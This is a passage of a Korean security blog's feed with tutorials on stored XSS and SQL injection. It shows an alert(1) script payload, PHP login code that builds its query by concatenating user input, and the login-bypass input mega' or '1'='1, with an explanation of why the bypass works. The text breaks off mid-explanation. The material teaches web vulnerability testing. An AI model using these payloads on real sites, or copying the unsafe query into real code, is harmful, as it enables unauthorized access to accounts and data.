&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 50%; text-align: center; height: 17px;&quot;&gt;'&lt;/td&gt;
&lt;td style=&quot;width: 50%; text-align: center; height: 17px;&quot;&gt;&amp;amp;#039; or &amp;amp;apos;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 50%; text-align: center; height: 17px;&quot;&gt;&quot;&lt;/td&gt;
&lt;td style=&quot;width: 50%; text-align: center; height: 17px;&quot;&gt;&amp;amp;quot;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 다시 돌아가서, 특수문자 &amp;lt;, ', &quot;, &amp;gt;이 그대로 사용되었을 때 이어서 3번 과정을 진행합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;3️⃣ Javascript&lt;/h3&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #222225; text-align: start;&quot;&gt;특수문자가 그대로 사용되고 있다는 것은 HTML 코드를 삽입할 수 있다는 것을 의미합니다. 따라서 이때 스크립트를 삽입합니다. &lt;b&gt;여기서 주의해야 할 점은 POC 코드를 사용해야 한다는 것입니다.&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;background-color: #ffffff; color: #222225; text-align: start;&quot;&gt;POC 코드를 사용하는 이유는 해당 취약점을 통해 문제가 발생할 수 있다는 것을 보여주기 위함입니다. 간단하게 말하면 일부러 악의적인 스크립트를 사용해서 확인을 하면 안 되기 때문에 POC 코드를 사용하게 됩니다. (POC 코드는 모의해킹을 할 때 취약점을 이용해서 공격이 가능하다는 것을 보여주는 코드입니다.)&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음과 같이 스크립트를 삽입합니다.&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1746090256442&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt; // 해당 스크립트는 알림창을 띄웁니다.&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;538&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bXG36T/btsNIyN15Ld/9fr8JDAv6AoBoN56GHgzYK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bXG36T/btsNIyN15Ld/9fr8JDAv6AoBoN56GHgzYK/img.png&quot; data-alt=&quot;게시글 작성 시 스크립트를 삽입했을 때&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bXG36T/btsNIyN15Ld/9fr8JDAv6AoBoN56GHgzYK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbXG36T%2FbtsNIyN15Ld%2F9fr8JDAv6AoBoN56GHgzYK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;285&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;538&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;게시글 작성 시 스크립트를 삽입했을 때&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이처럼 스크립트를 삽입하여 글을 생성하고 해당 페이지에 접속해 보겠습니다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;452&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/XFUDK/btsNICbOFJY/prkiPc3NcqkvcMfeKqHcy0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/XFUDK/btsNICbOFJY/prkiPc3NcqkvcMfeKqHcy0/img.png&quot; data-alt=&quot;스크립트가 삽입된 페이지에 접속했을 때&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/XFUDK/btsNICbOFJY/prkiPc3NcqkvcMfeKqHcy0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FXFUDK%2FbtsNICbOFJY%2FprkiPc3NcqkvcMfeKqHcy0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;239&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;452&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;스크립트가 삽입된 페이지에 접속했을 때&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;스크립트가 삽입된 페이지에 접속했더니 삽입했던 스크립트가 실행되는 것을 볼 수 있습니다. 스크립트 삽입이 가능했고 실행까지 정상적으로 이뤄졌기 때문에 XSS 취약점이 존재한다고 판단할 수 있으며 해당 XSS는 저장되어 있던 스크립트가 실행된 케이스이므로 Stored XSS에 해당합니다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;지금까지 XSS 종류 중 Stored XSS에 대해서 알아봤습니다. 다른 글에서 Reflected XSS, DOM-based XSS에 대해서도 알아보고 대응 방안에 대해서도 설명하겠습니다.&lt;/p&gt;</description>
      <category>[WEB] 모의해킹/XSS</category>
      <category>0xsecurity</category>
      <category>Cross-Site-Scripting</category>
      <category>stored-xss</category>
      <category>XSS</category>
      <category>웹해킹</category>
      <category>정보보안</category>
      <category>크사</category>
      <author>0xSecurity</author>
      <guid isPermaLink="true">https://code000.tistory.com/6</guid>
      <comments>https://code000.tistory.com/entry/XSS#entry6comment</comments>
      <pubDate>Tue, 6 May 2025 12:34:37 +0900</pubDate>
    </item>
    <item>
      <title> SQL Injection</title>
      <link>https://code000.tistory.com/entry/%F0%9F%93%8CSQL-Injection</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;|&lt;/b&gt; SQL Injection&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹 애플리케이션의 취약점을 이용하여 악의적인 SQL 코드를 삽입하는 것. 이를 통해서 데이터 베이스에 비정상적인 접근을 하는 것.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;|&lt;/b&gt; SQL Injection 종류&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;SQL Injection&lt;/li&gt;
&lt;li&gt;Blind SQL Injection&lt;/li&gt;
&lt;li&gt;Error based Injection&lt;/li&gt;
&lt;li&gt;Time based Injection&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;|&lt;/b&gt; SQL Injection 알아보기 (실습)&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;login_func.php (sql 쿼리 부분) -&amp;nbsp; 로그인 로직&lt;/p&gt;
&lt;pre id=&quot;code_1743414443028&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;$sql = &quot;select * from member_table where id='$userid' and pw='$userpw'&quot;;
        $result = mysqli_query($db_conn, $sql);
        $row = mysqli_fetch_array($result);
        
        if($row){
            session_regenerate_id(true);
            $_SESSION['userid'] = $row['id'];
            return true;
        } else {
            echo &quot;&amp;lt;script&amp;gt;alert('로그인 실패')&amp;lt;/script&amp;gt;&quot;;
            return false;
        }&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 소스코드는 로그인 시 로그인을 처리하는 코드입니다. 해당 로그인 로직을 가진 웹 페이지에서 SQL Injection 이 어떻게 이뤄지는 간단하게 알아보겠습니다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;▶️ 정상적인 로그인 과정&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;600&quot; data-origin-height=&quot;336&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bNVfN3/btsM2WC1j2n/Z3NBqY0er5xjrzSFQbqUc1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bNVfN3/btsM2WC1j2n/Z3NBqY0er5xjrzSFQbqUc1/img.png&quot; data-alt=&quot;로그인 페이지&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bNVfN3/btsM2WC1j2n/Z3NBqY0er5xjrzSFQbqUc1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbNVfN3%2FbtsM2WC1j2n%2FZ3NBqY0er5xjrzSFQbqUc1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; alt=&quot;로그인-페이지&quot; loading=&quot;lazy&quot; width=&quot;600&quot; height=&quot;336&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;600&quot; data-origin-height=&quot;336&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;로그인 페이지&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로그인 페이지에서 아이디와 비밀번호를 입력하면 쿼리문에 아이디 비밀번호에 입력 값들이 들어가게 됩니다. 즉, 다음과 같습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1743415269835&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&quot;select * from member_table where id='아이디' and pw='비밀번호'&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만약 아이디가 mega이고, 비밀번호가 1234인 계정으로 로그인을 하면 다음과 같이 쿼리문이 이뤄집니다.&lt;/p&gt;
&lt;pre id=&quot;code_1743415430474&quot; class=&quot;php&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;php&quot;&gt;&lt;code&gt;&quot;select * from member_table where id='mega' and pw='1234'&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 계정으로 로그인을 하면 정상적으로 로그인이 되는 것을 볼&amp;nbsp; 수 있습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;404&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/xodIu/btsM3o68fuu/ddgy9fO0qqLoapzYI2KJw0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/xodIu/btsM3o68fuu/ddgy9fO0qqLoapzYI2KJw0/img.png&quot; data-alt=&quot;로그인 성공 시&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/xodIu/btsM3o68fuu/ddgy9fO0qqLoapzYI2KJw0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FxodIu%2FbtsM3o68fuu%2Fddgy9fO0qqLoapzYI2KJw0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;600&quot; height=&quot;257&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;404&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;로그인 성공 시&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번엔 로그인을 시도할 때 비정상적인 로그인 방법으로 시도 해보겠습니다.&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;▶️ 비정상적인 로그인 과정&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;❓만약 다음과 같이 아이디와 비밀번호를 입력했다면?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아이디 &lt;b&gt;: mega&amp;rsquo; or &amp;lsquo;1&amp;rsquo;=&amp;rsquo;1&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;비밀번호 : 1234&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;600&quot; data-origin-height=&quot;328&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/M8wrh/btsM2VREVPk/P9j6p7WePhOk4joNvX5VW0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/M8wrh/btsM2VREVPk/P9j6p7WePhOk4joNvX5VW0/img.png&quot; data-alt=&quot;비정상적인 로그인 시도&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/M8wrh/btsM2VREVPk/P9j6p7WePhOk4joNvX5VW0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FM8wrh%2FbtsM2VREVPk%2FP9j6p7WePhOk4joNvX5VW0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;600&quot; height=&quot;328&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;600&quot; data-origin-height=&quot;328&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;비정상적인 로그인 시도&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 비정상적인 방법으로 로그인을 시도해보겠습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;406&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/loc5a/btsM2aaKCj8/ukFiKPQGL3HsuXfxgJOhkK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/loc5a/btsM2aaKCj8/ukFiKPQGL3HsuXfxgJOhkK/img.png&quot; data-alt=&quot;비정상정인 아이디로 로그인 성공&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/loc5a/btsM2aaKCj8/ukFiKPQGL3HsuXfxgJOhkK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Floc5a%2FbtsM2aaKCj8%2FukFiKPQGL3HsuXfxgJOhkK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;600&quot; height=&quot;258&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;406&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;비정상정인 아이디로 로그인 성공&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;분명 원래 아이디가 mega인데 mega' or '1'='1 을 입력했더니 로그인이 된 상황입니다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt; 이런 식으로 임의의 쿼리를 삽입하여 DB에 비정상적인 접근을 하는 것을 SQL Injection 이라고 합니다.&lt;/b&gt;&lt;/span&gt;&lt;/u&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;이제 SQL Injection이 어떻게 가능한 건지에 대해서 알아보겠습니다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;❓SQL Injection이 어떻게 발생했는가?&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #222225; text-align: start;&quot;&gt;로그인을 할 때, 사용자가 아이디와 비밀번호를 입력하면 그 정보를 가지고 DB 안에 있는 정보와 비교하여 일치하면 로그인, 불일치하면 로그인 실패로 이어지게 됩니다. 정상적인 로그인 시도와, 비정상적인 로그인 시도를 했을 때의 DB가 어떤 응답을 하고 있는지 살펴보면서 SQL Injection에 대해서 이해해 보겠습니다.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;background-color: #ffffff; color: #222225; text-align: start;&quot;&gt;우선, DB에 있는 회원정보 테이블입니다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;152&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ba2gmI/btsM8fPa4n2/MMX7KaCrpjUcl7liVbFTo0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ba2gmI/btsM8fPa4n2/MMX7KaCrpjUcl7liVbFTo0/img.png&quot; data-alt=&quot;회원 정보 테이블 - 계정 정보가 들어가 있습니다.&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ba2gmI/btsM8fPa4n2/MMX7KaCrpjUcl7liVbFTo0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fba2gmI%2FbtsM8fPa4n2%2FMMX7KaCrpjUcl7liVbFTo0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;550&quot; height=&quot;89&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;152&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;회원 정보 테이블 - 계정 정보가 들어가 있습니다.&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아까 정상적인 로그인&amp;nbsp; 시도할 때 아이디: mega, 비밀번호: 1234로 입력하고 로그인을 했었습니다. 이 때의 sql 쿼리를 DB에게 전송한다면 다음과 같은 결과를 반환 합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;790&quot; data-origin-height=&quot;118&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/7xLno/btsM6hVi5eC/J4FqitjPfvoAmIVR5EmtYk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/7xLno/btsM6hVi5eC/J4FqitjPfvoAmIVR5EmtYk/img.png&quot; data-alt=&quot;아이디와 비밀번호를 입력했을 때&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/7xLno/btsM6hVi5eC/J4FqitjPfvoAmIVR5EmtYk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F7xLno%2FbtsM6hVi5eC%2FJ4FqitjPfvoAmIVR5EmtYk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;550&quot; height=&quot;82&quot; data-origin-width=&quot;790&quot; data-origin-height=&quot;118&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;아이디와 비밀번호를 입력했을 때&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;924&quot; data-origin-height=&quot;102&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/MntnX/btsM6pZJTdT/OWEQvPIycireqwIvrwVVI1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/MntnX/btsM6pZJTdT/OWEQvPIycireqwIvrwVVI1/img.png&quot; data-alt=&quot;결과&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/MntnX/btsM6pZJTdT/OWEQvPIycireqwIvrwVVI1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FMntnX%2FbtsM6pZJTdT%2FOWEQvPIycireqwIvrwVVI1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;550&quot; height=&quot;61&quot; data-origin-width=&quot;924&quot; data-origin-height=&quot;102&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;결과&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #222225; text-align: start;&quot;&gt;결과 사진을 보면 sql 쿼리에 의해 아이디가 mega, 비밀번호가 1234인 계정을 가져오고 있는 모습입니다. 이번엔 잘못된 입력으로 로그인했을 때 어떤 결과값을 반환하는지 확인해 보겠습니다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;937&quot; data-origin-height=&quot;154&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/s4HTv/btsNerXorlK/Zq1ok1hfbTINGlZK10GH7k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/s4HTv/btsNerXorlK/Zq1ok1hfbTINGlZK10GH7k/img.png&quot; data-alt=&quot;잘못된 아이디, 비밀번호 입력했을 때&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/s4HTv/btsNerXorlK/Zq1ok1hfbTINGlZK10GH7k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fs4HTv%2FbtsNerXorlK%2FZq1ok1hfbTINGlZK10GH7k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;650&quot; height=&quot;107&quot; data-origin-width=&quot;937&quot; data-origin-height=&quot;154&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;잘못된 아이디, 비밀번호 입력했을 때&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;321&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bWlKlu/btsNezAXi82/lvW3cygvxe1jY0QqVpM2VK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bWlKlu/btsNezAXi82/lvW3cygvxe1jY0QqVpM2VK/img.png&quot; data-alt=&quot;결과&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bWlKlu/btsNezAXi82/lvW3cygvxe1jY0QqVpM2VK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbWlKlu%2FbtsNezAXi82%2FlvW3cygvxe1jY0QqVpM2VK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;650&quot; height=&quot;221&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;321&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;결과&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #222225; text-align: start;&quot;&gt;잘못된 아이디를 통해 비정상적인 로그인을 할 때와 정상적인 아이디를 통해 로그인을 시도할 때 DB는 같은 결과를 반환하고 있기에 로그인이 가능했던 것입니다. &lt;u&gt;or '1'='1을 추가했는데 왜 같은 결과가 나오지?&lt;/u&gt;라고 생각해 볼 수 있는데 이는 비교 연산자의 우선순위 때문에 발생하게 됩니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;id='mega' or &lt;span style=&quot;background-color: #ee2323; color: #f3c000;&quot;&gt;'1'='1' and pw='1234'&lt;/span&gt; 즉, 빨간색으로 밑줄 되어있는 부분에서 연산이 먼저 일어나기 때문입니다.&amp;nbsp;&lt;/p&gt;
